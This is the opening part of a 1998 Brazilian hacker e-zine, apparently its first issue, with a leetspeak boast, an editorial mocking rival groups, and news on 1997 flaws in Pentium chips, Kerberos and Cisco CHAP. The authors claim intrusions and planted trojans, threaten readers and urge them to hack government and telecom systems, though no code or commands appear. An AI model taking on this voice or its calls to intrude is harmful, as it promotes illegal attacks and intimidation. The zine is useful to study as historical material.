MOS, Boletim Tec. - Made in Brazil.
Numero 1, Distribuido: Jan. 2, 1998


		       \   \ \ \
		       \ \ \ \
		         \ \ \ \
		       \   \ \ \      \
		       \   \ \ \

			  ==[ Masters Of Shadow ]==

				  presentz
    
			  Boletim Tecnico numero 1!

				  --=*=--

      [ - Hacking - Security - Cyber-Anarchy - Cracking - Phreaking - ]
		       [ - Virus - Telecomunication - ]


		 ==TeLeCoMuNiCaTiOnS wIlL nEvEr Be ThE sAmE==


	"The only system which is truly secure is one which is switched off
  and unplugged, locked in a titanium lined safe, buried in a concrete
  bunker, and is surrounded by nerve gas and very highly paid armed guards.
  Even then I wouldn't stake my life on it."


 <---------//--------------------------------------------------------------->

  /root/MOS.motd
 
  NAO FOI A RWX,
  NAO FOI A AXUR05,
  MUITO MENOS O MITNICK...

  Voces foram visitados pela Masters Of Shadow!

    
    N0S s0mOs Do M.O.S., o m3|hOr gRup() underground d p4is. NoS asSum1m()s
  1sS0 pUb|1c4mEnT3 pOrQ n()s s0mOs s1mPl3sMeNt3 oS m3|hOr3s.
    NoS s()mOs 3L3eT. oK, NoS s0mOs muIto + q iSsO, m4s a Un1c4 C0iSa q \/C
  r34|m3nTe pR3C1s4 sAb3r, e Q NoS s()mOs 3L3ET!
  VcZ n()s cH4maM De L4m3rZ, MaS p0R tRAs d1sSo, 3sCOnDe-SE O FaT0 d Q vC c
  qU3r c0nS3gUE 1m4gInaR OQ p0d3moS f4zEr c/ 4 TeCn()LoG1A, 3 CoM() o f4zE-
  mos. eSc()nD3-Se 4 sUa 1nFeRI()RiD4dE, 3 a m3d1OcRiDAdE d4 sUa f4|tA dE
  cOnHh3cIMenTo.
    
    N()s s()mOs t40 bOnS q n3m c \/C c0ns3gU1sE uS4r o m4x1m() d4 m3rDa d()
  sEu c3r3bR0, pOd3r14 c0nT4R qUaNtOs h0sTs nOs j4 hAcK3aMos. c Vc 4o m3nOs
  Tent4sSe d3sCobRir oS tRoj4nS q jA cRi4mOs e 1mP|4nTAmOs eMd c4dA sErV1-
  d()r, \/C c/ c3rTeZ4 m1jArIa 3m sU4s cAlCas.
  
  NoS n4o t3M()s pR0b|3mAs D c3Lu|Ar, pO1s hOrIEnT4m0s a R()tA D nOsS4s L1-
  Gac0Es. N()s p0d3mOs D3sL1GaR s3U tE|eF()n3 nUm p1sC4r D oLh()s C aSs1m
  Nos 1nTeREss4R. p0d3mOs tE AcH4r n() f1m Do MunDo C pR3cIs0 fOr. p0d3mOs
  ProPaGAr 0 C40S, e 1mp()r O m3dO n() M4iS InCrEdULo d()s CoR4c03s.
  NoS HaCk34m0s o EsT4Do, o GoVeRnO, 3 a PoRr4 d()s m1LitAres, n()s f1z3mOs
  0 pRiME1Ro vIrUz De m4cR0 dO PaIs! NoS j4 1nF3cTaM0s 3 roOtAmOS m41s s1S-
  tEmAs Do qE v0C s3QuEr c()nSeGu3 1mAgIn4r! NoS s()moS d4 MoS, 3 PoDeM()s
  f4zEr o Q qu1s3rMoS.

    v4m()s EnCar4r oS f4t()s, v1v3mOs 3m Um mUnD() d z3R0s e uMs, eM q QuEm
  cOm4nDa sUa m1sEr4 v1dA sAo Az m4k1nAs, 4s qUa1s Vc t3mE, p01s n4o cOnSe-
  gUe CoMprEnDer.
  Vc 3 t4o BuRr() q TeM aT3 d1FiCu|D4dE eM LeR eSs3 tExT()!
  \/c n4o pOd3 nOs p4rAr. N0s, N()s 3sCoNdEmOs n4 S0mBrA dO m31o-DiA, v1vE-
  m()s 3m OutrA r3A|idAdE, a QuAL vC t4mBeM n40 p()dE cOmPr3eNdEr...
    NoS, s()mOs O in1cIo Do cYb3r-C40s, 4 rEeNcArN4cA() dO mA|. NoSs() pR4-
  z3r E lHe f4ZeR D bUrR(), t1r4R s3u S()n0, t1r4R sUa c4|Ma. NoSs() pR4z3r
  e CoNs3Gu1r 4|G0 pUbLiCo, q vC dEspR3zA: o *CoNhEcImEnTo*.
    NoS, s0mOs 4qUeLes q F4rAo Vc p3ns4r 2x 4nTes D l1GAr o c0mPuT4Dor, Ou
  uS4r () t3|eFoNE. e TuDo o Q vCs Lam3Rz p()d3m TeNtar f4zEr p/ 3sC4pAr a
  nOsS4 fUr1a, e DesLiGar-S3 d4 t()m4Da....
  n4o t3nTe c r3bEl4r, dO cOntR4r1o, n()s acH4r3m0s SeU s1sT3mA, sEu t3|e-
  F0N3, e Vc 1rA p3rCeBEr Q eX1sT3m c0iSaS p1oREs qUe 4 M()rTe...

							   [Membros da MOS]

 -EOF
 <------------------------------------------------------------\\------------>
	 
  Mail:            mos@thepentagon.com.
  Site provisorio: http://www.members.xoom.com/moszine.
  Redirecionador:  http://www.thepentagon.com/mos.
  Membros atuais:  Wiz4rd, Kosmos, H3rtcqr.

				 ----------
				 - Index' -
				 ----------

	 Introducao ........................................... 01-
	 Editorial ............................................ 02-
	 Como contactar o MOS ................................. 03-

	 Noticias ............................................. 04-
	 
	 Warez d00z ........................................... 05-

	 KmsList (Kosmos WordList) ............................ 06-

	 Gerenciamento de sistemas ............................ 07-
	 Transformacao de Endereco ............................ 08-
	 Tabela de Alocacao ................................... 09-
	 DMA .................................................. 10-
	 
	 Unix Basic's ......................................... 11-
	 PHF Laming Desmistificado ............................ 12-
	 Introducao ao DoS .................................... 13-
	 Lame Floods .......................................... 14-
	 Internet Outdials .................................... 15-
	 Seguranca Fisica Basica .............................. 16-
	 
	 Tomo I: "Mandic e o queijo suico" entre outros ....... 17-
	 
	 Algumas notas aos Admins porcos ...................... 18-

	 Phreak Basic's ....................................... 19-
	 Dissecacao Telefonica ................................ 20-
	 
	 Virus Tutorial Parte I ............................... 21-

	 Anarchy/Humor ........................................ 22-
	 
	 Conselhos ............................................ 23-
	 
	 Nota final do Editor ................................. 24-
	 Disclaimer ........................................... 25-


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 01 -
				    
			       --------------
			       - Introducao -
			       --------------

	Soltem os rojoes! Acordem a policia! Nosso boletim foi lancado, o
  maior do pais! O melhor do pais! 100% de pura informacao!
  
				No FuCking LaMmInG;
				no PhUckIng Warez;
				PURE H/P/V/C!

	Bem vindo ao primeiro numero do Boletim Tecnico do MOS! As seguintes
  pessoas  estiveram envolvidas na edicao/elaboracao desse primeiro boletim,
  e p/ elas eu quero agradecer pelo bom trabalho.

	   Kosmos                       - MOS
	   HertCQR                      - MOS
	   Wizard                       - MOS/Editor
	     
  Tb quero agradecer aos colaboradores e a pessoas q direta ou indiretamente
  contribuiram p/ o zine.

	  Nessa edicao houve um grande esforco p/ lhe trazer o q ha d melhor
  e mais original em materia d underground nacional. Nada d copias de outros
  textos, ou traducoes ridiculas. E claro qe algumas vezes tira-se ideias de
  outros lugares, mas  apenas ideias, e nao documentos  completos como fazem
  alguns espertinhos... Por incrivel que pareca, existe um ezine chamado RWY
  (tomei a liberdade de alterar o nome do zine pra preservar a identidade de
  seus respectivos lamers/autores), onde os  caras nem se dao ao trabalho de
  alterar o texto! Traduzem direto e depois poe seus lindos nominhos no tra-
  balho dos outros..
	Depois temos a AXUR05, AciDmuDo e sua turma... "Para salvar a honra
  dos brasileiros." Bah! Vendo a  coisa da maneira deles, e como se nos, os 
  burrinhos (Mederval e seu Besouro Eletronico) estivessemos na merda e eles
  fossem a salvacao... parece uma adaptacao do "Jeronimo". Ah! Tem o VooDuu,
  putz.. cara mau.. hehe.. o AciDmuDo carrega ele pra tudo q e canto.. pare-
  ce o Faustao com o Tiririca.. so faz cagada, mas ta sempre la..
  Coisas assim e que fazem os imbecis do Brasil nao progredirem.. ao inves d
  pensar, eles  simplesmente pagam pau pros  outros... "Ah! Os hackers ame-
  ricanos.." Okz.. sejamos humildes e adimitamos, os zines brasileiros ate q
  estao evoluindo, o zine atual ate da pra ler inteiro sem enjoar. Ha Ha Ha.
	 
	 Putz.. agora.. ta virando  moda "ser hacker", daki a pouco a crian-
  cada vai ir nas festas, e ao inves de ficar bebado, vai dizer qe e hacker,
  sacar um notebook (que ele ganhou do papai noel), e  entrar na Internet de
  graca, usando  uma senha roubada  do "sofisticado" sistema SBT On-line, ou
  da Mandic, so pra impressionar as gatinhas..
  RWX, Necroterium, BHC, BUS, AXUR05, X-Hackers, Nearz, NetHack, PIX,  (...)
  Comece a contar o numero de zines e grupos que aparecem diariamente.. tudo
  bosta... Agora.. comece a contar, o numero de palhacos que saem por ai di-
  zendo "- Eu sou um hacker"...  hahaha.. meu deus... putz.

	A tempos estavamos pensando em escrever um zine, mas tivemos  varios
  problemas de percurso. Primeiro tivemos medo porq muitos  lamer putos irao
  ler essas bostas e sair fazendo cagada e ferrando com tudo. Depois, falta-        
  va arrumar tempo e paciencia pois discutir pesados assuntos tecnicos e al-
  go demorado, e escrever esse zine consume um tempo relativamente precioso,
  afinal, esse e o maior zine do Brasil!
  Mas, chegamos a conclusao de qe ate hoje nao existe um zine q preste nesse
  pais, temos pessoas q sabem bastante, mas nao existe um grupo que preste..
  por isso resolvemos dar um help para akeles q querem aprender e ja se can-
  sarao das dicas pra jogar fliperama de graca e das frazes do tipo "Se voce
  nao sabe isso, formate seu HD.".
	Uma coisa tb deve ser levada em consideracao, por escrevermos o zine
  e por termos  uma ma reputacao, principalmente entre os admins que tiveram
  seus sistemas invadidos, logo irao comecar a nos testar, d forma a mostra-      
  rem a todos q o "MOS e um grupo d criancas lamers.." bah! Nos estamos ca-
  gando e andando pra nossa reputacao. Nos nao temos q provar nada.. leia o
  nosso zine e tire suas conclusoes. Veja nossos feitos e tire suas conclu-
  soes, considere qualquer favor q fizermos a vc, como pura sorte, pois nos
  nao somos obrigados a aguentar vc, nem ninguem  :P

	Como essa e'  a versao publica de nosso  boletim, nao iremos relatar
  numeros ou mails pessoais de membros ou pessoas relacionadas ao grupo, por
  motivos d seguranca.
  P/ os que se consideram realmente  hackers, nos deixamos um mail pelo qual
  vcs podem nos contactar. Hmmm... nao tentem rastrear ok? Vcs iam perder um
  tempo danado... :P

	O MOS  iniciou-se mais ou menos em outubro de 97, mas decidimos qe a
  data oficial do  lancamento do grupo seria 12/1/97, entre out e dez, esti-
  vemos nos organizando, algumas invasoes, arrumando uma site que prestasse,
  coisas assim fizeram com q o zine atrasasse muito mesmo!
  Um dos problemas encontrados foi qe um dos projetos q eu estava envolvido,
  estava  demorando muito pra ser concluido, e resolvemos esperar de forma a 
  a publica-lo ainda  nessa edicao...infelizmente  nao deu  tempo.. fica pra 
  proxima..
  Algumas noticias que estaremos  mostrando na nossa seccao de "News", podem
  nao mais estar recentes.. mas como eu ja disse, o zine atrasou.. desculpe.
  Na prox. serei mais pontual.
	O zine veio como forma d divulgar um pouco mais as acoes do grupo, e
  de divulgar conhecimentos e tecnicas  novas, relacionadas  a tecnologia em
  geral. Tambem pretendemos relatar novidades envolvendo o underground naci-
  onal e internacional, enfim, bolar  um ponto de  referencia a todos os que
  quiserem saber mais sobre tecnologia e underground.
	Se vc quiser contribuir c/ criticas, materias e sugestoes, ficaremos
  felizes, afinal, quanto mais gente colaborando, melhor o zine fica.
  Se voce se  interessar em  participar dos  projetos, escrever um texto, ou
  algo assim, mande um  reply.. nao e preciso se r membro do grupo... se bor 
  bom a sua materia nos a publicaremos. Isso ira aumentar o numero d artigos
  e ate mesmo o nivel tecnico do zine.
  
  Devido ao fato de termos varias outras atividades e nao podermos dar total
  atencao, a revista nao  tem data pra sair, vem  conforme tivermos assuntos
  interessantes, e se agradar ao pessoal...
  Nos  queremos algo  diferente, se ninguem se interessar em ler essa merda,
  nosso zine  sera  como as outras merdinhas que existem por ai. Entao, sim-
  plesmente pararemos de publica-lo... Okz.. vamos nos esforcar ao maximo p/
  q ela esteja pronta d 3, no max. 4 em 4 meses...
  
  Divirtam-se...
  Com vcs... nosso Boletim Tecnico!
							   
							  [membros do MOS]


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 02 -

			       -------------
			       - Editorial -
			       -------------

	  De um ponto d vista "hacker", os ultimos tempos, apos a criacao do
  MOS, tem sido realmente  muito bom... Varios hosts invadidos  com sucesso,
  longas noites e novos conhecimentos.
	Antes de comecarmos a vomitar informacoes, historias e outras coisas
  mais, vamos aproveitar a falta de  tempo e mergulhar na comica mediocrida-
  de do underground nacional...
   
  o Virus Makers - A maioria dos idiotas  ainda nao aprendeu assembly, entao
    eles preferem usar os "maravilhosos" geradores da Nuke...
  
  o Phreakers    - Os phreakers..... bom, nunca vi um phreaker na vida, ate'
    as operadoras da Telesp sabem mais q eles.
  
  o Hackers      - Aki a coisa preocupa.. vamos pular essa parte.
  
  o IRC          - #hackers,  onde a ignorancia e mostrada e o  conhecimento
		   esquecido..
		 - #hacker, (s/ comentarios).

  o Grupo        - Os grupos "hackers" do Brasil, formam uma verdadeira sopa
		   d letrinhas. Deixaria o alfabeto do Caldo Maggi d 4!
		   Hmmm... IHS, BHS, BUS, WOH, RWX, X-WORLD, BHJ, ... depois
		   tem os mais  originais: Necroterium, NetHack, AXUR05, por
		   ai vai..
		   Logico, e tudo hacker... os caras sao realmente bons. =)

  o Zines        - Barata Eletrica: Mederval e sua turma... bah! O Mede ate'
		   q saca, mas o zine particularmente.. e um lixo.
		 - NetHack: Ate q era legalzinho... mas achamos qe alguem qe
		   procura por informacoes nao gosta de saber como e a mente
		   d um hacker ou de aprender a instalar o linux.
		 - RWX: ate que e legal... pena q eles apenas copiam info de
		   outros zines e falam das coisas muitas vezes sem entende-
		   las... bah! legal o KcT, e uma bosta d zine. Vez ou outra
		   aparece algo original... hmmm... putz..
		 - AXUR: putz.... o csh ate que entende da coisa, o lamer do
		   VooDoo e a merda do AciDmuD ficam so fazendo fama em cima
		   do palhaco.
		 - POLICY: o unico zine brasileiro decente q vi na minha vi-
		   da. E meio copiado mas tinha um nivel tecnico legal.
   
  ... o resto nao vale nem a pena citar.
 
	Putz... bom.. para tentar mostrar que existe  vida inteligente nessa
  porra d Brasil, e q alem d bundoes no IRC, e d 'grupos hackers' com lindas
  home-pages; existem  pessoas realmente interessadas em aprender e expandir
  informacoes, nos criamos mais uma nova sopa de letras o M.O.S, "Masters Of
  Shadow".
  Nos nao somos hackers, nao somos phreakers, nem crackers, nem merda nenhu-
  ma! Apenas gostamos de explorar  as maravilhas que as telecomunicacoes tem
  a nos oferecer. Portanto, se vce quer "ser um hacker".. va em outro lugar,
  porq as  pessoas fuderam  tanto com o termo "hacker" que nem eu sei mais o
  qe ele quer dizer e realmente to sem tempo p/ inventar uma auto-definicao.

	O zine tem o proposito basico de aumentar seu conhecimento, e acabar
  c/ akeles lamers que aprendem a merda do bug do PHF(se e q aquilo pode ser
  chamada de bug), e depois saem por ai.... ficam semanas procurando lugares
  c/ a falha... ate cansarem. Depois, aprendem outra  tecnica e comecam tudo
  de novo...
  Ou os palhacos qe vao no #hackers(putz..) e ficam quietos.. afinal, ate um
  imbecil c passa por inteligente c ficar calado.. dai faz uma pergunta cre-
  tina do tipo... "- Como consertar o fluxo hexagonal do meu HD?". Como nin-
  guem entende a porra da pergunta, o imbecil chama todo mundo de lamer e se
  passa por genio! HAHAHAHHAA... tadinhos...
  
  Nos queremos compartilhar e adquirir novos conhecimentos... Nao achamos qe
  a informacao dev ser livre, afinal, se eu fizer um puta programa, com cer-
  teza  vou querer receber  algo por ele. No entanto, se o cara que possui a
  informacao nao tem  capacidade p/ controla-la ou protege-la, isso ja nao e
  problema nosso.

  Queremos mostrar que um zine pode ser mais do qe simplesmente um texto com
  informacoes, e' algo que te faz pensar e mecher a bunda...
  Lamers! Parem de tentar enviar 2600Hz no 103 da Telesp, parem de hackear a
  AT&T! Descubram a Telesp e tenham diversao pro resto d suas miseras vidas!
  Hackeiem  o governo, a Embratel, ... parem de pagar pau pros outros!
  Olhem para seus proprios rabos e comecem a meche-los!

  O zine e feito de forma a atingir todos os que c interessem por H/P/V/C, e
  nao os idiotas que usam Linux por puro modismo ou para impressionar os vi-
  zinhos...
	
	Aki voce nao vai achar dicas pra jogar d graca em fliperamas, ou su-
  portes a lamers, nem vai ver comentarios do tipo "Se voce nao entendeu es-
  se texto, apague seu winchester!". Esse tipo  de coisa e perda de tempo, e
  temos *certeza* de que se alguem  procura por informacoes boas, e tecnicas
  novas, nao gosta nem um pouco d ter d ler essa merda toda.
  O zine trata d:
      
      [ - Hacking - Security - Cyber-Anarchy - Cracking - Phreaking - ]
		       [ - Virus - Telecomunication - ]

	Todos   os artigos que apresentarmos, serao, na  medida do possivel,
  testados. Falhas podem ocorrer, caso voce encontre alguma, avise-nos que a
  corrigiremos o + rapido possivel. Nossas materias serao originais, e claro
  qe as vezes se usa um ou outro texto como referencia, mas nao iremos fazer
  plagios idiotas.
 
  NOTA: NAO QUEREMOS NOVOS MEMBROS. Se voce for bom, nos t encontraremos. Ja
  tentamos isso e as unicas pessoas que entraram em contato com a gente, fo-
  ram lamers(com 'L' maiusculo). Se as  pessoas que realmente sacam da coisa
  nao trocarem informacoes, chegara um tempo qe em os sistemas estarao super
  seguros, e os egoistas se fuderao.
	E algo realmente complexo achar pessoas realmente interessadas em se
  tornar membro de um grupo serio, e participar ativamente... ou achar gente
  que esteja disposta a escrever regularmente para  algum  zine.
  Pessoas dedicadas faciliam a coleta de informacoes pois atualmente as coi-
  sas sao muito rapidas, os bugs vao e vem rapido d+...  e quanto mais gente
  boa estiver envolvida, melhor...
 
  Estamos abertos a todo tipo d duvida(inteligente), noticias, dicas, criti-
  cas e comentarios. Todos os mails serao respondidos no zine.
  Os artigos enviados serao revisados e publicados nas proxs. edicoes.

  Se voce se interessar em roubar os textos e programas daqui, e sair por ai
  dizendo  que foi vc que fez, foda-se... nao estamos atras de fama ou reco-
  nhecimento.... se voce quiser nos chamar de lamers, tambem nao estamos nem
  ai.. foda-se.

	O MOS nao e responsavel pela atitude isolada de seus membros, e seus
  membros tambem  nao sao responsaveis pelas acoes de seu grupo, por isso...
  se cuidem =)

  So mais uma coisa... nos nao respeitamos algum puto q se diz hacker ou que
  entre em sistemas e os destrua. Nao respeitamos jornais e  jornalistas que
  fazem questao de incluir a palavra 'hacker' em cada manchete relacionada a
  algum crime d informatica apenas para vender mais. Eles nunca sabem exata-
  mente sobre oq estao falando... nao sabem oq e um  computador, apenas usam
  a porra do editor d textos, e nao podem realmente conceber a beleza e tec-
  nica q esta envolvidas em um "simples" ataque a algum computador.

								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 03 -

			  ------------------------
			  - Como contactar o MOS -
			  ------------------------
  
	'http://www.thepentagon.com/mos'.

  Se vc quiser contribuir conosco de um jeito ou de outro, com criticas, su-
  gestoes, ou mesmo textos e novidades, vc pode nos achar em

	'mos@thepentagon.com'

  Se algum admin, mesmo os que tiveram seus sites invadidos, quiserem falar,
  sintam-se a vontade... teremos prazer em  ajudar em  uma configuracao mais
  segura para seus sites.


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 04 -

				------------
				- Noticias -
				------------

  (1). MAIS UMA CAGADA DA INTEL ********************************************
  
  Folha de SP - 19 nov/97

	A Intel, lider mundial na producao de chips para computadores, anun-
  ciou que seus processadores Pentium simples e MMX, tem uma falha.
  Certas instrucoes, enviadas intencionalmente aos chips, paralisam o micro.
  A solucao e desligar e ligar a maquina.

  A Intel  ja teve uma serie  de problemas com  seus  processadores. Em maio
  deste ano, foi a vez do Pentium Pro e do Pentium II. Em 1994, um falha se-
  melhantes custou a Intel U$ 475 milhoes.

  
  Detalhes tecnicos:
  ~~~~~~~~ ~~~~~~~~
	
	Basicamente o q ocorre, e um problema na instrucao CMPXCHG8B, a qual
  compara 8 bytes em EDX e EAX com um valor de 8 bytes na memoria (q no caso
  e o operando de destino). Os unicos operandos d destino validos nessa ins-
  trucao, sao operandos de memoria. Logo, se o operando d destino for um re-
  gistrador, o  processador  ira gerar uma  execucao invalida  de  codigo, a
  execucao do  CMPXCHG8B sera  interrompida, e o  processador ira executar o
  handler  da funcao invalida. Isso ocorre, quando o prefixo LOCK e usado na
  instrucao CMPXCHG8B com um operando  destinatario invalido. Nesse  caso, o
  processador nao  ira executar esse handler invalido porque o bus esta tra-
  vado... assim, o sistema pendura.
  As implicacoes dessa "pendura"" do sistema, refletem basicamente corrupcao
  d dados na memoria. D forma a voltar ao funcionamento normal, e necessario
  q a makina seja resetada.
	 Uma coisa q deve ser levada em consideracao(principalemente no caso
  dos paranoicos), e que essa passagem d valores invalidos a CMPXCHG8B nao e
  algo normal, ou seja, nao e gerado por nenhum tipo d programa avaliado co-
  mercialmente.

	Esse falha atinge  processadores Pentium, Pentium MMX&trade, Pentium
  Overdrive, e Pentium Overdrive MMX. Pentium  Pro, II, e processadores i486
  &trade nao sao afetados.

   [Ed. note: Um exploit desse bug ja encontra-se disponivel na rootshell.]

  
  (2). NOVA VERSAO DO KERBEROS CORRIGE BUG DE SEGURANCA ********************
 
	O MIT lancou o novo patch para o Kerberos, a ultima distribuicao v5,
  e agora v1.0 patchlevel 2, qe esta disponivel apenas p/ o pessoal dos EUA,
  atraves da web. Em:

	'http://web.mit.edu/network/kerberos-form.htm'

   [Ed. note: Nada q um spoof nao resolva =) .]

  Esse lancamento, apresenta a correcao para o bug de seguranca do daemon de
  telnet, o Kerberized, q esta incluido na distribuicao. A chamada tgetent()
  usada por ele, e em alguns sistema, vulneravel a buffer overrun, atraves d
  variaveis de  ambiente. Pessoas podem obter ascesso remoto usando-se desse
  bug. O Solaris 2.x nao  parece ser  vulneravel a isso, devido  ao fato  do
  do sistema ignorara informacao d ambiente.


  (3). VULNERABILIDADE DE AUTENTIFICACAO DO CHAP/CISCO (10/1/97) ***********
  
	Uma grave vulnerabilidade foi descoberta na autentificacao PPP CHAP,
  tal bug encontra-se presente  em todos as versoes dos sistemas "classicos"
  do  Cisco. A falha permite que certo usuario circunde a  autentificacao, e
  ganha ascesso ao sistema. As novas verosoes ja estao protegidas contra es-
  sa falha. Para uma listagem completa das plataformas e softwares afetados,
  consulte o boletim do CIAC em
	
	'http://ciac.llnl.gov/ciac/bulletins/i-002a.shtml'


  (4). MICROSOFT CONSERTA FALHAS DE SEGURANCA DO EXPLORER 4.0 **************

	A Microsoft disponibilizou a versao 4.01 do Internet Explorer, ajus-
  tando diversos problemas de seguranca e adicionando novas caracteristicas.
  Um dos recursos desenvolvidos, conhecido pelo nome de  buffer overrun, im-
  pede qe hackers causem quebra no servidor ao enviar enderecos de sites que
  excedam a capacidade do browser.
  Por este patch tambem sao reajustadas falhas que possibilitam aos usuarios
  mal intencionados obter o conteudo d certos arquivos alocados no disco ri-
  gido de outro usuario. 

  [Nota do editor: Nem parece verdade...]


  (5). MICROSOFT ABRE DIALOGO COM HACKERS DO WINDOWS NT *******************
  
	A Microsoft enviou  recentemente representantes para uma conferencia
  tecnica  hacker realizada em Las Vegas, chamada Black Hat  Briefings, para
  abrir dialogo com a comunidade hacker, sobre os riscos e falhas do Windows
  NT. Varios  programas estao surgindo, explorando  as deficiencias na segu-
  ranca do NT, o que fez a Microsoft se mexer, de forma a assegurar a confi-
  abilidade e seguranca do seu sistema de rede.
  O grupo de  hackers LOpht, de Boston, deu uma apresentacao  na conferencia
  descrevendo a ultima revisao de seu programa "quebrador" de senhas NT. Ele
  permite a qualquer um se logar de uma maquina local, sem ser o administra-
  dor, e o hack faz seu trabalho mais rapido  que na versao anterior. Mudge,
  o  representante  do grupo  na  conferencia, disse que  testou o tempo  do
  LOphtcrack 1.5 e verificou que um  ataque forte, feito de uma maquina UNIX
  ou Pentium Pro 200 em uma corporacao de 40.000 usuarios que controla todos
  os nomes e senhas NT, por um unico controlador primario d dominio, levaria
  apenas 40 horas p/ descrever todas as 40.000 senhas e fornece-las em forma
  de texto.
  
  Estes programas exploram um problema fundamental que a Microsoft enfrenta:
  a necessidade de manter a compatibilidade retrograda d legalidade dos sis-
  temas NT. Isso significa qe a Microsoft deve manter a estrutura d senha do
  protocolo Lanman, qe quebra a senha escolhida em duas partes d sete carac-
  teres.

	Dominique Brezinski, consultor  de seguranca  do NT em  Washington e
  programador  formal  da  Microsoft, chamou atencao  para o programa hacker
  GetAdmin na Black Hat Briefing em "Auditoria e Analise d Riscos do Windows
  NT". O programa, q afeta o NT Server 4.0, permit ao hacker adicionar usua-
  rios nao autorizados ao grupo de administradores.
  A comunidade  hacker acredita estar prestando um servico, segundo eles seu
  trabalho e apontar os mais  serios problemas de um sistema operacional que
  esta em uso no mundo todo, e estao fazendo isso os apontando e simplesmen-
  te dizendo "conserte isso".

	O Windows NT nao foi o primeiro e nao sera o ultimo sistema a sofrer
  tais ataques, sistemas  como Unix e Linux sofreram  varios  ataques, mas o
  relacionamento  entre os desenvolvedores (em sua maioria hackers) e a pro-
  pria comunidade hacker sempre foi de parceria, resultando em sistemas mais
  seguros e confiaveis, e otimo saber que a Microsoft esta se dispondo a ou-
  vir os hackers, e trabalhar junto a eles na busca de solucoes, ao inves de
  tratar a comunidade como um inimigo, e somente tentar remendar o mais rap-
  ido possivel as deficiencias do Windows NT.
  

  (6). PRODUTORA DO EUDORA ACUSADA DE ESPIONAGEM ***************************

	Engenheiro da Qualcomm, poderosa companhia  de comunicacao via sate-
  lite e produtora do software Eudora, eh acusado de espionagem pela Russia.
  Os EUA  afirmam que o fato nao esta  ligado a  espionagem e muito menos ao
  governo americano, alegando que  o engenheiro estava apenas instalando uma
  rede de comunicacao via satelite na regiao de Roslov.
  A Qualcomm  fornece informacoes p/ o mundo inteiro, portanto, o engenheiro
  estava cumprindo seu dever.


  (7). GOVERNOS DEBATEM EXPORTACAO DE CRIPTOGRAFIA *************************
	
	Representantes  das maiores  economias do mundo se reuniram em Paris
  na semana passada a fim de debater como  a criptografia poderia proteger o
  comercio eletronico de fraudes, ao mesmo tempo em que defende o publico de
  outros crimes.
	A OECD, The Organization for Economic Cooperation, convidou partici-
  pantes dos 29 paises alem d representantes do Brasil, China, India, Israel
  e Russia para montar leis qe envolvam a exportacao de criptografia. Mas as
  ideias sobre os tipos de  controle de criptografia diferem entre os paises
  da OECD. Franca e EUA acreditam que deve haver severo controle na exporta-
  cao de criptografia, pois esta tecnologia eh muito utilizada por terroris-
  tas como  o Iraque, acrescentando  ainda que o governo deve  ter acesso as
  mensagens encriptadas. O governo americano  sempre garantiu que so ira ser
  mais flexivel na exportacao de criptografia quando for criada uma tecnolo-
  gia que possibilite o acesso do governo aos dados criptogrados.
  Outros paises  como Japao e Escandinavia tem uma postura mais liberal. Nao
  veem como sendo importantes o controle de criptografia e o acesso livre ao
  governo, acrescentando  ainda que  a tecnologia nao eh muito utilizada por
  criminosos. 
	O controle de  criptografia impede ampliacao do comercio eletronico,
  pois tecnicas de anti-fraude e tecnologias d seguranca se baseiam em dados
  criptografados.
  
  [Nota do editor: Big Brother.. pua! ]


  (8). HACKERS ALEMAES QUEBRAM CARTOES ATM *********************************

	O grupo alemao Chaos Computer Club demonstrou a possibilidade d que-
  bra dos cartoes ATM. Os  hackers demonstraram a imprensa alema que o roubo
  das informacoes dos cartoes pode ser feito a partir de um simples leitor d
  cartoes magneticos. 
  Bancos alemaes afirmam que problemas d fraudes com cartoes ATM sao respon-
  sabilidade  do usuario. Este, segundo os bancos, esta sempre a par das re-
  tiradas feitas  em sua conta  bancaria, e portanto, fraudes  so surgem por
  descuido do proprio. 

  [Nota do editor: Nada contra, mas por acaso foi novidade pra alguem q isso
  era possivel? Perda d tempo...]
  
  
  (9). HACKER AUSTRALIANO QUEBRA O SERVIDOR DO DESAFIO "CRACK A MAC" *******
  
	Um hacker da  Australia conseguiu  invadir o Mac  utilizado como Web
  Server do concurso "Crack a Mac" na ultima semana.
  O desafio que estava no endereco http://hacke.infinit.se, foi desenvolvido
  para provar que o servidor Mac-OS e um servidor seguro.
  
  Esta e a segunda vez que o evento ocorre, sendo que ninguem conseguiu ven-
  cer o primeiro desafio. As regras do jogo nao permitem qe os participantes
  ataquem fisicamente o servidor, e alem disto, os hackers nao pdem utilizar
  como alvo  outros servidores  que estejam no mesmo  dominio do servidor em
  questao.
	O servidor, um Apple Workgroup Server 9650/233, foi invadido atraves
  de uma falha d seguranca no utilitario de 'database' chamado Lasso. A Blue
  World ja colocou em seu site
  
	'http://www.blueworld.com/lasso/security_update.html'
  
  um 'free-patch' com um novo recurso de seguranca para o Lasso, e recomenda
  que todos os seus usuarios apliquem o patch, afim de corrigir o bug.

  
  (10). HACKER BLOQUEIA A INTERNET NO URUGUAI POR 48 HORAS *****************
  
	Em MontevidEu, um hacker nao identificado impediu o acesso do pais a
  Internet durante o fim de semana, informou o presidente da companhia tele-
  fonica uruguaia, Ricardo Lombardo.
  A acao foi verificada por especialistas, que ainda nao conseguiram identi-
  ficar o autor do ataque.
  A principio, autoridades relacionaram a queda da rede a trabalhos tecnicos
  realizados pela companhia. O Uruguai tem cerca de 50 mil a 70 mil usuarios
  da Internet, um dos numeros mais altos na America Latina.

  
  (11). SITE DA COCA-COLA HACKEADO *****************************************

	O site da Coca-Cola foi  recentemente atacado  e pixado por hackers.
  Como consequencia o Web Site foi fechado durante dois dias.
  Os invasores alteraram as paginas da Coca-Cola, escrevendo a mensagem "vo-
  ces vao comecar  a olhar para o que bebem, olhar para  os seus Big Macs, e
  compreenderao que sao ovelhas...".
  A Coca-Cola  confessou que foi a primeira  vez que o seu web site foi alvo
  dos hackers.
  Os responsaveis pelo  ato ainda nao  foram identificados, mas o caso  esta
  sendo investigado.

